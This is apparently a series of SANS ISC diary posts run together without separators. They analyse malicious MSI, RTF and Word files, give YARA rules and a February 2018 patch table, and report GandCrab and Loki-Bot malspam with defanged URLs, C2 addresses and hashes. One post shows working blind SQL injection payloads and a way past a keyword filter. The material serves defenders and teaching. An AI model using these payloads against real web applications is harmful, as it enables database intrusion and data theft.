For some days, I collected a few samples of malicious MSI files. MSI files are Windows installer files that users can execute to install software on a Microsoft Windows system. Of course, you can replace “software” with “malware”. MSI files look less suspicious and they could bypass simple filters based on file extensions like “(com|exe|dll|js|vbs|…)”. They also look less dangerous because they are Composite Document Files:

$ file sample.msi
sample.msi: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, MSI Installer, Code page: 1252, \
Last Printed: Fri Sep 21 10:56:09 2012, Create Time/Date: Fri Sep 21 10:56:09 2012, Name of Creating Application: Windows Installer, \
Title: Exe to msi converter free, Author: www.exetomsi.com, Template: ;0, Last Saved By: devuser, Revision Number: \
{C35CF0AA-9B3F-4903-9F05-EBF606D58D3E}, Last Saved Time/Date: Tue May 21 12:56:44 2013, Number of Pages: 100, Number of Words: 0, Security: 0

Just based on the information returned by the 'file' command, we can expect a suspicious file: The tool used to create the MSI file is MSI Wrapper[1]. This tool is not malicious but it looks like being used by bad guys. In fact, MSI files are little databases laid out in a structured storage file. The content of an MSI file can be extracted using tools like 7z. The structure is always the same and contains the following files:

!AdminExecuteSequence:                    data
!AdvtExecuteSequence:                     data
!Binary:                                  data
!Component:                               data
!CustomAction:                            data
!Directory:                               data
!Feature:                                 data
!FeatureComponents:                       data
!InstallExecuteSequence:                  data
!Property:                                data
!_Columns:                                data
!_StringData:                             ASCII text, with very long lines, with no line terminators
!_StringPool:                             data
!_Tables:                                 data
Binary._D7D112F049BA1A655B5D9A1D0702DEE5: PE32 executable (GUI) Intel 80386, for MS Windows
[5]SummaryInformation:                    data

Files with their name starting with an exclamation point are the database tables. It is possible to read them with the COM-based API for working with MSI[2]:

Function GetMSIGenerator(ByVal file)
  Const msiOpenDatabaseModeReadOnly = 0
  Dim msi, db, view
  Set msi = CreateObject("WindowsInstaller.Installer")
  Set db = msi.OpenDataBase(file, msiOpenDatabaseModeReadOnly)
  Set view = db.OpenView("SELECT `Value` FROM `Property` WHERE `Property` = 'ProductName'")
  Call view.Execute()
  GetMSIGenerator = view.Fetch().StringData(1)
End Function
WScript.Echo(GetMSIGenerator("sample.msi")

The script returns:

PS C:\Users\REM\Malicious> cscript.exe msi.vbs
Microsoft (R) Windows Script Host Version 5.812
Copyright (C) Microsoft Corporation. All rights reserved.

Exe to msi converter free

But this technique is not easy to process the complete set of database fields. Let’s search for another tool. The Wix[3] toolset is perfect to achieve this. It contains a tool to easily convert an MSI file into an XML file:

C:\Users\REM\Malicious> dark.exe -swall -x . sample.msi
dark.exe : warning DARK1108 : The command line switch 'swall' is deprecated. Please use 'sw' instead.
Windows Installer XML Toolset Decompiler version 3.11.1.2318
Copyright (c) .NET Foundation and contributors. All rights reserved.

sample.msi

The ‘-x .’ parameter specifies that the tools must dump binaries from cabinets and embedded binaries to the specified directory (the current one in the example above).
A WXS file is created. It is a regular XML file that you can open with your favourite tool:

Here is a sample of the converted file:

<?xml version="1.0" encoding="utf-8"?>
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
    <Product Id="{29EF7317-DCA1-4159-97B2-C883AD400AC6}" Language="1033" Manufacturer="www.exetomsi.com" Name="Exe to msi converter free" UpgradeCode="{1630D902-D790-41C1-AE26-9D5E5D17566F}" Version="2.0.0">
        <Package InstallerVersion="100" Languages="0" Manufacturer="www.exetomsi.com" ReadOnly="no" />
        <Binary Id="_D7D112F049BA1A655B5D9A1D0702DEE5" SourceFile=".\Binary\_D7D112F049BA1A655B5D9A1D0702DEE5" />
        <CustomAction Id="DIRCA_TARGETDIR" Property="TARGETDIR" Value="[WindowsFolder]\Temp" Execute="firstSequence" />
        <CustomAction Id="_B3D13F97_1369_417D_A477_B4C42B829328" BinaryKey="_D7D112F049BA1A655B5D9A1D0702DEE5" ExeCommand="" Execute="deferred" Impersonate="no" />
        <Directory Id="TARGETDIR" Name="SourceDir">
            <Component Id="C_DefaultComponent" Guid="{4C231858-2B39-11D3-8E0D-00C04F6837D0}" KeyPath="yes">
                <Condition>0</Condition>
            </Component>
        </Directory>
        <Feature Id="DefaultFeature" ConfigurableDirectory="TARGETDIR" Level="1">
            <ComponentRef Id="C_DefaultComponent" />
        </Feature>
        <Property Id="ARPCONTACT" Value="www.exetomsi.com" />
        <Property Id="ARPNOMODIFY" Value="1" />
        <Property Id="LIMITUI" Value="1" />
        <InstallExecuteSequence>

You can see that the malicious binary file will be installed in [WindowsFolder]\Temp. This is another sign of a malicious file!

Basically, we can extract interesting information from an MSI file without executing it. Here is a simple YARA rule to catch this kind of file:

rule SuspiciousMSIFile
{
  meta:
    author = "Xavier Mertens <xmertens@isc.sans.edu>"
    info = "Search for malicious MSI installing  containing malware"

  strings:
    $s1 = "Exe to msi converter free"
    $s2 = { 54 41 52 47 45 54 44 49 52 30 43 75 73 74 6f 6d 41 63 74 69 6f 6e 53 6f 75 72 63 65 54 61 72 67 65 74 5b 57 69 6e 64 6f 77 73 46 6f 6c 64 65 72 5d 5c 54 65 6d 70 }

  condition:
    all of them
}

[1] http://www.exemsi.com/download
[2] https://msdn.microsoft.com/en-us/library/aa367810(VS.85).aspx
[3] https://github.com/wixtoolset/wix3/releases/tag/wix3111rtm

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

I will update this diary as additional bulletins are released. Microsoft marked adobe's bulletin as "not yet exploited". However, according to Adobe and reports from the Korean Cert, one of the vulnerabilities has already been exploited, so I am marking it differently here, and assign it a "Patch Now" rating. Not much detail has been made public yet about this vulnerability, which is why I am leaving the "Disclosed" rating at "No".

Microsoft lists one more vulnerability, CVE-2018-0771, as already disclosed. I left the raiting at "Important" since this is just a security feature bypass.

The "SPECTRE" advisory (ADV180002) was originally released in January but underwent several updates since then. The latest version released today includes references to new updates released for Windows 10 (32-bit) . It also states that there is no release schedule for older versions of Windows, but that they are working on releasing updates for pre-Windows 10 operating systems.

February 2018 Security Updates

Description
CVE	Disclosed	Exploited	Exploitability (old versions)	current version	Severity
February 2018 Adobe Flash Security Update
ADV180004	No	Yes	-	-	PATCH NOW
Guidance to mitigate speculative execution side-channel vulnerabilities (Spectre)
ADV180002	No	No	Less Likely	Less Likely	Important
Microsoft Edge Information Disclosure Vulnerability
%%cve:2018-0839%%	No	No	-	-	Important
%%cve:2018-0763%%	No	No	-	-	Critical
Microsoft Edge Security Feature Bypass Vulnerability
%%cve:2018-0771%%	Yes	No	-	-	Moderate
Microsoft Excel Remote Code Execution Vulnerability
%%cve:2018-0841%%	No	No	-	-	Important
Microsoft Office Information Disclosure Vulnerability
%%cve:2018-0853%%	No	No	Less Likely	Less Likely	Important
Microsoft Office Memory Corruption Vulnerability
%%cve:2018-0851%%	No	No	More Likely	More Likely	Important
Microsoft Outlook Elevation of Privilege Vulnerability
%%cve:2018-0850%%	No	No	Less Likely	Less Likely	Important
Microsoft Outlook Memory Corruption Vulnerability
%%cve:2018-0852%%	No	No	Less Likely	Less Likely	Critical
Microsoft SharePoint Elevation of Privilege Vulnerability
%%cve:2018-0869%%	No	No	-	-	Important
%%cve:2018-0864%%	No	No	Unlikely	Unlikely	Important
Named Pipe File System Elevation of Privilege Vulnerability
%%cve:2018-0823%%	No	No	-	-	Important
Scripting Engine Memory Corruption Vulnerabilities
%%cve:2018-0834%%	No	No	-	-	Critical
%%cve:2018-0835%%	No	No	-	-	Critical
%%cve:2018-0836%%	No	No	-	-	Important
%%cve:2018-0837%%	No	No	-	-	Critical
%%cve:2018-0838%%	No	No	-	-	Critical
%%cve:2018-0840%%	No	No	-	-	Critical
%%cve:2018-0856%%	No	No	-	-	Critical
%%cve:2018-0857%%	No	No	-	-	Critical
%%cve:2018-0858%%	No	No	-	-	Critical
%%cve:2018-0859%%	No	No	-	-	Critical
%%cve:2018-0860%%	No	No	-	-	Critical
%%cve:2018-0861%%	No	No	-	-	Critical
%%cve:2018-0866%%	No	No	More Likely	More Likely	Important
StructuredQuery Remote Code Execution Vulnerability
%%cve:2018-0825%%	No	No	More Likely	More Likely	Critical
Windows AppContainer Elevation Of Privilege Vulnerability
%%cve:2018-0821%%	No	No	More Likely	More Likely	Important
Windows Common Log File System Driver Elevation of Privilege Vulnerabilities
%%cve:2018-0844%%	No	No	More Likely	More Likely	Important
%%cve:2018-0846%%	No	No	More Likely	More Likely	Important
Windows Denial of Service Vulnerability
%%cve:2018-0833%%	No	No	-	-	Moderate
Windows EOT Font Engine Information Disclosure Vulnerabilities
%%cve:2018-0855%%	No	No	-	-	Important
%%cve:2018-0755%%	No	No	Less Likely	Less Likely	Important
%%cve:2018-0760%%	No	No	More Likely	Less Likely	Important
%%cve:2018-0761%%	No	No	More Likely	Less Likely	Important
Windows Elevation of Privilege Vulnerability
%%cve:2018-0828%%	No	No	Less Likely	Less Likely	Important
Windows Kernel Elevation of Privilege Vulnerabilities
%%cve:2018-0831%%	No	No	Less Likely	Less Likely	Important
%%cve:2018-0742%%	No	No	More Likely	More Likely	Important
%%cve:2018-0756%%	No	No	More Likely	More Likely	Important
%%cve:2018-0809%%	No	No	More Likely	More Likely	Important
%%cve:2018-0820%%	No	No	More Likely	More Likely	Important
Windows Kernel Information Disclosure Vulnerabilities
%%cve:2018-0810%%	No	No	-	-	Important
%%cve:2018-0829%%	No	No	Less Likely	Less Likely	Important
%%cve:2018-0830%%	No	No	Less Likely	Less Likely	Important
%%cve:2018-0832%%	No	No	Less Likely	Less Likely	Important
%%cve:2018-0843%%	No	No	-	-	Important
%%cve:2018-0757%%	No	No	Less Likely	Less Likely	Important
Windows NTFS Global Reparse Point Elevation of Privilege Vulnerability
%%cve:2018-0822%%	No	No	More Likely	More Likely	Important
Windows Remote Code Execution Vulnerability
%%cve:2018-0842%%	No	No	More Likely	More Likely	Important
Windows Scripting Engine Memory Corruption Vulnerability
%%cve:2018-0847%%	No	No	More Likely	More Likely	Important
Windows Security Feature Bypass Vulnerability
%%cve:2018-0827%%	No	No	Less Likely	Less Likely	Important
Windows Storage Services Elevation of Privilege Vulnerability
%%cve:2018-0826%%	No	No	More Likely	More Likely	Important

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
STI|Twitter|

I received a malicious RTF file with several stages (PowerShell commands), containing Gzip compressed shellcode.

rtfdump shows the different elements of the RTF file:

We are interested in element 7 (containing a package)

This package contains a PowerShell command with BASE64 encoded commands.

base64dump can help us with the decoding:

PowerShell BASE64-encoded commands are UNICODE text, with utf16 we can convert it:

We notice another string of BASE64 text. Remark also the GzipStream object created at the end: this is a strong indication that the decode BASE64 data must be decompressed for further analysis:

Decompressing Gzip data can be done with translate:

Here we see yet another BASE64 string, and WIN32 API functions like VirtualAlloc and CreateThread, a strong indication that shellcode will be written to memory and executed.

Remark the User Agent String and IP address in this shellcode. To analyze shellcode, I often use the shellcode emulator scdbg.exe:

From the emulation report, we can see that this shellcode creates a TCP connection to port 4444, the default port used by Metasploit's reverse shells.

Remark that scdbg.exe emulates shellcode, it does not execute shellcode: no TCP connection is established. I prefer scdbg.exe over sctest from libemu because it emulates more WIN32 API functions, hence I will also use it on OSX and Linux with wine.

Didier Stevens
Microsoft MVP Consumer Security
blog.DidierStevens.com DidierStevensLabs.com

One of my former students contacted me after reading my last diary entry "An autograph from the Dridex gang" with a question: how to detect Word documents with signed VBA code?

I did some research: official Microsoft documentation can be found in the document "Visual Basic for Applications Digital Signature".

The presence of UNICODE strings SigAgile and Sign start the digital signature in binary Word documents:

More details can be found here: "The content field of the contentInfo of this SignedData structure MUST be a SpcIndirectDataContent structure".

The Object Identifier (OID) for structure SpcIndirectDataContent is "1.3.6.1.4.1.311.2.1.4".

That is "06 0A 2B 06 01 04 01 82 37 02 01 04" in binary.

Creating a YARA rule with these strings is simple.

rule WORD_VBA_SIGNATURE {
    strings:
        $sigagile = {08 00 53 00 69 00 67 00 41 00 67 00 69 00 6C 00 65 00 00 00}
        $sign = {04 00 53 00 69 00 67 00 6E 00 00 00}
        $oid = {06 0A 2B 06 01 04 01 82 37 02 01 04}
    condition:
        ($sigagile or $sign) and $oid
}

Remark: this rule will not check if the scanned file is a OLE file. To restrict the detection to OLE files, prefix the condition with "uint32be(0) == 0xD0CF11E0 and ".

Didier Stevens
Microsoft MVP Consumer Security
blog.DidierStevens.com DidierStevensLabs.com

Reader Wayne Smith submitted a PDF file attached to a malicious email.

As happens often now, the PDF does not contain malicious code, just a malicious link. This URL can be detected and extracted with pdfid and pdf-parser:

Downloading this .doc file can be done safely, we talked about different techniques to do this here and here.

No surprise with the .doc file, oledump reveals it contains macros:

With plugin plugin_vba_summary, we can produce a report summarizing the VBA code used in this malicious Word document:

If you pay a bit of attention, finding and decoding the URL is not too difficult:

Just substituting a couple of strings, and we have the URL:

The downloaded file is an executable (PE file), with a valid AuthentiCode signature:

The signature has also a timestamping countersignature, this allows us to pinpoint the signing of this document in time. The certificate was created about a week before this executable was signed. About 75 minutes after this executable was signed, it was already submitted to VirusTotal.

And this certificate was also used to digitally sign the VBA macros in the malicious document:

Stream 4 (1Table) contains the signature:

Organizations can configure Microsoft Office to trust digitally signed VBA macros (this is not the case by default).

If this malicious document would be delivered to such an organization, there would be no warning about macros when the document is opened. But the VBA code would still not execute automatically upon opening: because the malicious document originates from the Internet, it is not trusted and has a "mark-of-the-web". Therefore, Word will open this document in Protected View, disabling all active content.

I've seen a couple of malicious Word documents signed with the same certificate, and one executable (signed 2 days after the signed executable we analyzed in this diary entry).

 

Didier Stevens
Microsoft MVP Consumer Security
blog.DidierStevens.com DidierStevensLabs.com

Reviewing the dashboards at the ISC today revealed an anomaly on port 2580.  Over the last couple days the number of sources probing for port 2580 has increased by nearly 600x from near none historically. 

While this port is officially allocated to a service called Tributary, development software created by Bristol Technology, I can't find any sign that Bristol or the Tributary software are still in existence (Bristol was purchased by HP in 2007).  

 Shodan shows a number of different services listening on this port.  The most common one is a free Universal Plug and Play (UPnP) server called redsonic which looks like it may be used in Google Chromecast, but is also commonly used in torrent applications.

If anybody has any more information, or packet traces that would enlighten me on what may be going on here please contact us through the ISC contact page

-- Rick Wanner MSISE - rwanner at isc dot sans dot edu - http://namedeplume.blogspot.com/ - Twitter:namedeplume (Protected)

SQL injections are my favorite vulnerabilities. Of course, every penetration tester loves them since they are (in most cases) critical, however what I like with them is that there are so many ways to exploit even the apparently-looking remote or unexploitable cases.

The particular case I will describe below is very closely related to a previous diary I posted in 2016 – you can read it here. Let’s dig into it!
Again, our target is a web application which, in this case, accepted a POST HTTP request containing JSON. The request looked something like this:

POST /api/customers HTTP/1.1
…

{"contact_name":"something","company_name":"something else","internal_id":"3298"}

As shown above, we have three parameters which we should test for SQL injection. Due to specifics of the tested web application, and the way the results are displayed back (i.e. it is partially out of band), automated tools such as Burp or sqlmap did not find any vulnerable parameters.

Manual testing, however, indicated that the last parameter, internal_id, is potentially vulnerable to SQL injection. By inserting our favorite ‘ character it was possible to cause an error (displayed on a different web page). Enough to make every penetration tester’s hand sweat!

The next step is typically to get sqlmap working with this – no point in doing all the extraction manually. Now that we know where is the SQL injection, the easiest way to pass this to sqlmap is to save the request with Burp and then mark the injection place with * - this will indicate sqlmap where the injection is.

Even with this, sqlmap did not work correctly, so I had to dig further manually. It turned out that there was some kind of filtering on the server side – attempts to add delays (i.e. WAITFOR DELAY) or CASE keywords all failed: the only keyword that actually worked was SELECT.

On the other (out of band) web page I was able to see some errors – in cases when a banned keyword was used there was a generic error. Also, it was possible to induce the division by zero error by modifying the SQL query to something like this:

3298’ AND 1=1/0 --

Ok, so we’re getting somewhere. As with all blind SQL injection vulnerabilities, we need to have a true and a false case. By being able to cause a division by zero error we have a false case (and the true case is when the application works).

How to extract a byte now? Let’s see: when we guess a byte, we want to cause a division by zero error, while in other cases we want the application to work OK. Another limitation is that we can use only the SELECT keyword (for some reason it was not blocked/filtered by the backend application). And this is the solution:

3298’ OR 1=1/(SELECT ASCII(SUBSTRING(HOST_NAME(),1,1))-X) --

What are we doing here? We are taking the first character returned from the HOST_NAME() method which returns (obviously) the local host’s name. Then we convert that character to its ASCII value and subtract a number X from it.
This allows us to cycle through all ASCII values – once we guess the value of the first character of the host’s name, we will cause a division by zero error allowing us to conclude the first character’s value. With this, we can further extract practically anything from the database, as long as the user that the web application is using to connect to the database has rights to read the data.

As with previous SQL injection examples, this again shows how proper, strict filtering (and using parametrized queries) is the only way to prevent exploitation.

Want to learn more about web application security? Join me in Paris, 12th -17th of March for the fantastic SEC542: Web App Penetration Testing and Ethical Hacking (GWAPT) course!

--
Bojan
@bojanz
INFIGO IS

Introduction

GandCrab ransomware was first reported on Friday 2018-01-26.  Since then, we've seen it distributed by campaigns using exploit kits and HoeflerText popup windows.  But today on Wednesday 2018-02-07, we've also seen GandCrab ransomware distributed through malicious spam (malspam).  Today's GandCrab is a file-less infection using a DLL file called by a PowerShell script initiated by a Word document macro.  This particular malspam campaign uses PDF attachments to kick off the infection chain.  My Online Security has already reported most of the details.

Shown above:  Chain of events from today's wave of malspam.

Background on the malspam

As early as 2018-01-30, a distinct wave of malspam contained PDF attachments designed to infected Windows computers with Dridex.  These emails follow consistent patterns.  But today, instead of pushing Dridex, this malspam is now pushing GandCrab ransomware.

The timeline so far is:

• 2018-01-30 through 2018-02-05:  PDF attachments link to 7-Zip archives.  Extracted VBS files designed to infect Windows hosts with Dridex  (link to blog).

• 2018-02-06:  PDF files link to Microsoft Word document instead of 7-Zip archives.  Macro in Word doc designed to infect Windows hosts with Dridex  (link to tweet).

• 2018-02-07:  PDF files still link to Word doc, Macro now pushes GandCrab ransomware instead of Dridex  (documented here).

GandCrab ransomware

Until today, the GandCrab ransomware samples I've seen have been Windows executables using an .exe file extension.  @_qaz_qaz has already posted a quick analysis on unpacking a GandCrab executable shortly after it was discovered.  But today's GandCrab is a DLL file called from a Base64 string in a PowerShell script.  As other sources have already pointed out, GandCrab is notable because it calls for Dash cryptocurrency instead of Bitcoin for the ransom payment.

Shown above:  Encrypted files use .GDCB as the file extension.

Shown above:  GandCrab Decryptor asking 2.07 Dash ($1,200 USD) as the ransom payment.

Recent malspam from this campaign

Since yesterday, I collected 12 examples of this malspam.  Malspam from Tuesday 2018-02-06 (yesterday) was pushing Dridex.  Malspam from Wednesday 2018-02-07 (today) has been pushing GandCrab.  The malspam is very basic, with minimal message text.  See the images below for details.

Shown above:  Data from my spreadsheet tracker (image 1 of 2).

Shown above:  Data from my spreadsheet tracker (image 2 of 2).

Shown above:  Screenshot from one of today's emails.

The PDF files contain a link that returns a Microsoft Word document.  The link is sensitive to the IP address you're coming from.  When I tried it from my usual VPN routes, the URL returned a 404 Not Found error.  When I tried it from a residential or business IP address, the URLs returned the Word document.

Shown above:  PDF file with a link to the Word document.

Shown above:  Word document with a macro to install GandCrab.

Network traffic

I infected a host in my lab environment, and I acquired a sample of the infection traffic.  First was the HTTP GET request to butcaketforthen.com for the Word document.  Next was an HTTP request to sorinnohoun.com by the Word macro for the PowerShell script.  After that was post-infection traffic to nomoreransom.coin (an IP address check followed by callback traffic) caused by the GandCrab DLL.  See the images below for details.

Shown above:  Traffic from the infection filtered in Wireshark.

Shown above:  Start of PowerShell script called by the Word macro.

Shown above:  Later in the script, you'll find Base64 text for the GandCrab DLL.

Indicators

Email data:

Date: Tuesday 2018-02-06
Received from: cdkconstruction.org ([188.138.75.13])
Email sender examples:

• From: "Brandon  Clay" <Brandon@cdkconstruction.org>
• From: "Carmen  Cresswell" <Carmen@cdkconstruction.org>
• From: "Fredric  Elvy" <Fredric@cdkconstruction.org>
• From: "Mayra  Mulroney" <Mayra@cdkconstruction.org>
• From: "Maricela  Audeley" <Maricela@cdkconstruction.org>
• From: "Megan  Ilonka" <Megan@cdkconstruction.org>

Email subject examples:

• Subject: Electricity bill Feb-6509
• Subject: Electricity bill Feb-7305
• Subject: Electricity bill Feb-22217
• Subject: Electricity bill Feb-43843
• Subject: Electricity bill Feb-185791
• Subject: Electricity bill Feb-650705

SHA256 hashes for the PDF attachments:

• 4efcba6f0dcfdd034da5248f2693ac15c6795e5140d71c0c1058f82fefcfdc83 - Feb-10451.pdf
• 4aee5f0682a53fd87d05adb69c3d34ede3cbd5251de59e25b140afd247e35b01 - Feb-21774.pdf
• 8f0c815686a0841749f21a7c8536af19c92a6d24563be58dd35f293c22ca124c - Feb-32098.pdf
• 8c0609651d19fd238f4a9f121c861e82811d8a89b0e3d9fae9ac70297ec2c135 - Feb-65114.pdf
• c07085b1a3c70b4ad39084980fcf0a906a4c11eb3456a95f93b3721f49cc89c2 - Feb-81711.pdf
• 59435c92d30b7f323af5224021980877048dc157cd8ccb304d405a0535d91933 - Feb-93111.pdf

Word doc downloaded from the PDF attachments:

• Location: hxxp://wildelet.com/inf/02.18-00973.doc
• File size: 170,496 bytes
• SHA256 hash: 2004a4b1272bdaa89585ab02057482fb702806578bd00ff442c67b510c6b1926

Follow-up executable (Dridex):

• Location: hxxp://letrebone.com/p66/387fty3
• File size: 164,616 bytes
• SHA256 hash: 8c7ccefa5576b1be7fdc9d59fa1185ab64469b88696d195e61b4a12b9dee7d5e

Date: Wednesday 2018-02-07
Received from: blackspiritgroup.com ([185.40.152.196])
Email sender examples:

• From: "Blanca  St john" <Blanca@cdkconstruction.org>
• From: "Lucio  League" <Lucio@cdkconstruction.org>
• From: "Martina  Edge" <Martina@cdkconstruction.org>
• From: "Rocco  Rouse" <Rocco@cdkconstruction.org>
• From: "Rosa  Naddox" <Rosa@cdkconstruction.org>
• From: "Rudolf  Cosper" <Rudolf@cdkconstruction.org>

Email subject examples:

• Subject: Bill Feb-53150
• Subject: Bill Feb-082509
• Subject: Invoice Feb-61752
• Subject: Receipt Feb-74582
• Subject: Receipt Feb-546123
• Subject: Statement Feb-7639

SHA256 hashes for the PDF attachments:

• 788093d18997754c9376ad4a8268b12320f0ee9ca88c6e58fcf09102d954cdf0 - Feb-1552982.pdf
• 17aa8cb7bfba1dffb3966d6175ca397887cbb4fe23ec7a48951ab36b49f7af04 - Feb-3178376.pdf
• 3f08bb45bf855cf5d81a0b631ddc280cacf02ca8cde6f5168aa4e8442f25e857 - Feb-4565089.pdf
• 20856820f6d003ffdafad47eb161d48ae10fc4c66a08c985ab72915b6f68e13c - Feb-7149280.pdf
• ba7b5d9a56a06ff946e22e1bf62fd5b305e034e2529ecdb5ce7931d83dc114fb - Feb-7526400.pdf
• 64c628276d428115e0468779aacfacbc8ecf1993e8b1a952d7ad3dacdee76990 - Feb-8960982.pdf

Word doc downloaded from the PDF attachments:

• Location: hxxp://butcaketforthen.com/docs/Feb-00974.doc
• File size: 142,848 bytes
• SHA256 hash: b0b6ab3df6587be47c68a60297f029ec9c76430785d94e740e3bec8e027dd542

Follow-up PowerShell script:

• Location: hxxp://sorinnohoun.com/sc1/sct5
• File size: 233,027 bytes
• SHA256 hash: 6960a00da0069a5b1aa7e213962a65abe3b148ddb7ac508cda0f8f8492ef7eaf

GandCrab DLL from Base64 string in PowerShell script:

• File size: 70,656 bytes
• SHA256 hash: 17d756b9a1b13ec9e72de08f2bd3017ab603f2963a69b647030aca03eaf485eb

Traffic from an infected Windows host on 2018-02-07:

• 119.28.111.49 port 80 - butcaketforthen.com - GET /docs/Feb-00974.doc
• 119.28.111.49 port 80 - sorinnohoun.com - GET /sc1/sct5
• ipv4bot.whatismyipaddress.com - IP address check
• 151.248.118.75 port 80 - nomoreransom.coin - POST /curl.php?token=1018
• gdcbghvjyqy7jclk.onion - Domain for GandCrab Decryptor

Block list

As always, indicators are not a block list.  If anyone's inclined to block web traffic, I suggest the following domains.  Keep in mind some of these may have been taken off-line by the time you read this.

 

Final words

GandCrab is probably the most widely-distributed ransomware at this time.  It appears to have taken the place of previous ransomware families like Cerber, Locky, and GlobeImposter.

I'm current seeing both EXE and DLL versions of GandCrab.  I find the EXE version from web-based infection vectors like the HoeflerText popups, and I'm now seeing the DLL version from malspam.

As always, properly-administered Windows hosts are unlikely to get infected.  I had to work around various warnings from both the PDF file and the Word document to infect my lab host.  System administrators and the technically inclined can also implement best practices like Software Restriction Policies (SRP) or AppLocker to prevent these types of infections.

Pcap and malware samples for today's diary can be found here.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

Introduction

Loki-Bot (also spelled "Loki Bot" or "LokiBot") is an information stealer that sends login credentials and other sensitive data from an infected Windows host to a server established for each malware sample.  It's commonly distributed through malicious spam (malspam), and I usually run across samples of Loki-Bot every day.  More information can be found in a SANS Reading Room paper written by Rob Pantazopoulos here.

Malspam pushing Loki-Bot doesn't follow specific patterns.  Other malspam campaigns pushing Dridex, Emotet, or Hancitor have very similar emails, where the message text, links and/or attachment names follow specific patterns.  This isn't true for Loki-Bot.  I can never say if a particular malspam sample I run across will have Loki-Bot or something else until I examine the malware.  Malspam pushing Loki-Bot doesn't seem as wide-scale as mass-distribution campaigns like those for Emotet or Hancitor.  However, I can usually find at least one or two Loki-Bot malspam samples each day that have been submitted to VirusTotal.

To give you a better idea how different these emails are, I've collected three malspam samples pushing Loki-Bot: one from Monday 2018-02-05 and two from Tuesday 2018-02-06.  If we examine these emails and their associated malware, we can get a better sense of malspam-based distribution for Loki-Bot.

General distribution patterns

I've only seen Loki-Bot distributed through malspam.  I've not seen Loki-Bot distributed through web-based infection vectors like pop-up browser windows or exploit kits.  But I have a limited field of view.  If anyone has seen Loki-Bot come through web traffic not caused by malicious email attachments, please leave a comment for this diary.

Malspam pushing Loki-Bot uses email attachments.  These attachments are either some sort of archive file containing a Loki-Bot executable, or the attachments are Microsoft Office documents designed to download and install Loki-Bot.  In some cases, the documents are files that exploit vulnerabilities like CVE-2017-11882 (example here) to infect Windows hosts with Loki-Bot.

Shown above:  Two different types of infection chains for Loki-Bot.

First email example: 2018-02-06 at 12:34 UTC

In the first example, traffic patterns and infection artifacts were fairly straight-forward.  The Loki-Bot executable copied itself to a folder under the user's AppData\Roaming directory for persistence.  No real surprises here.

Shown above:  Screenshot of the first email example.

Email information:

• Date: Tue, 06 Feb 2018 13:34:06 +0100
• Received: from server1.bollywoodchaska.com ([184.154.131.122])
• From: "Mrs. Tamara Tollman" <marinespares@alangmachineries.com>
• Subject: PO-0003-01 | PO315-50 PO 750 Intercompany PO 2017-100029
• Attachment name: NEW ORDER REQUIRE.zip
• SHA256 hash: 4bb536902c2000f793d539d2887df264156dba1a97460c3ee139a4e1904131c9
• Extracted file: NEW ORDER REQUIRE.exe
• SHA256 hash: afb3edaf073c0d2435fac520ddc846261ff85040494999415657ce35b1246c66
• Post-infection traffic: 192.152.0.152 port 80 - liltem.flu.cc - POST /ml/vrs/sly/lok/panel/fre.php

Shown above:  Traffic from the infection filtered in Wireshark.

Shown above:  One of the HTTP POST requests from an infected Windows host.

Shown above:  Windows registry updated to keep the malware persistent.

Second email example: 2018-02-06 at 13:17 UTC

I've documented ISO attachments used in malspam pushing Loki-Bot back in October 2017, and ISO files were probably used well before that.  Again, the traffic patterns and infection artifacts were fairly straight-forward.  Again, the Loki-Bot executable copied itself to a folder under the user's AppData\Roaming directory for persistence.  Again, no real surprises.

Shown above:  Screenshot of the second email example.

Email information:

• Date: Tue, 6 Feb 2018 14:17:27 +0100
• Received: from mail.ivacbd.com ([66.226.72.67])
• From: "Chang Mei"<arteszforg@artesz.hu>
• Subject: Re: Qoutation Order
• Attachment name: SCAN.pdf.r11 (an ISO file)
• SHA256 hash: 5348c7747c150dbc35328a5c89a0b64fa61f1911daf33b1ca24caa79e2eb55b7
• Extracted file: SCAN.pdf.com (a PE32 Windows executable)
• SHA256 hash: d722642b17e8897a092fc9f7b93cc002ee10f37f792171979f9d22f35a673e8c
• Post-infection traffic:
• 185.145.128.60 port 80 - festy18.info - POST /osy/fre.php

Shown above:  Traffic from the infection filtered in Wireshark.

Third email example: 2018-02-05 at 15:03 UTC

This email was a bit different, because it had a Microsoft Excel spreadsheet with a malicious macro that downloaded the Loki-Bot executable.  The Loki-Bot executable was made persistent through a Start Menu shortcut.  I also saw an Loki-Bot-style entry in the Windows registry.  However, that Windows registry entry ran a copy of Microsoft's COM Surrogate, a legitimate program re-named and saved to the usual Loki-Bot location.  Perhaps that was a decoy.  Otherwise, traffic patterns were as expected.  The post-infection artifacts were a little unusual for Loki-Bot, though.

Shown above:  Screenshot of the third email example.

Email information:

• Date: Mon, 05 Feb 2018 16:03:33 +0100
• Received: from mail.bexop.tk ([174.138.12.173])
• From: David Cooper <admin@bexop.tk>
• Subject: Request for Quotation
• Attachment name: REQ20180205.xls
• SHA256 hash: ed25239eaa51648ebe7b7597091f98d06e1c9e3e29e78dc865eb70818889b7ce
• Downloaded Loki-Bot: C:\Users\[username]\AppData\Local\Temp\manahj.exe
• SHA256 hash: adccbeba5792ef80048bcbb20f860d368dea9db35814b2c99447fbbe7f310230
• Post-infection traffic:
• 101.99.75.184 port 80 - kdotraky.com - POST /temp/Panel/five/fre.php

Shown above:  Email attachment, an Excel spreadsheet with malicious macro.

Shown above:  Traffic from the infection filtered in Wireshark.

Shown above:  Post-infection artifacts on the infected Windows host.

Final words

Within a 24 hour timeframe, I found three emails distributing Loki-Bot.  Apart from the general use of an invoice, order, or quotation theme, the emails distributing Loki-Bot didn't have many similarities. With each of the attachments, the infection chain was slightly different, but the end result was the same type of Loki-Bot infection. 

As always, the standard disclaimer applies: This malspam is no more dangerous than other types of malspam we see on a daily basis.  As always, properly-administered Windows hosts are unlikely to get infected.  For Windows hosts, system administrators and the technically inclined can implement best practices like Software Restriction Policies (SRP) or AppLocker to prevent these types of infections.

The servers at festy18.info, kdotraky.com, and liltem.flu.cc are all associated with Loki-Bot.  If they aren't blocked already, security personnel should block any web-based traffic to these domains if they can.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

A reader asked what the &H?? strings were in the malware I analyzed in my last diary entry. These are numbers in VBA written in hexadecimal.

For analysis, these numbers can be easily extracted with my re-search.py tool and then converted to binary with hex-to-bin.py.

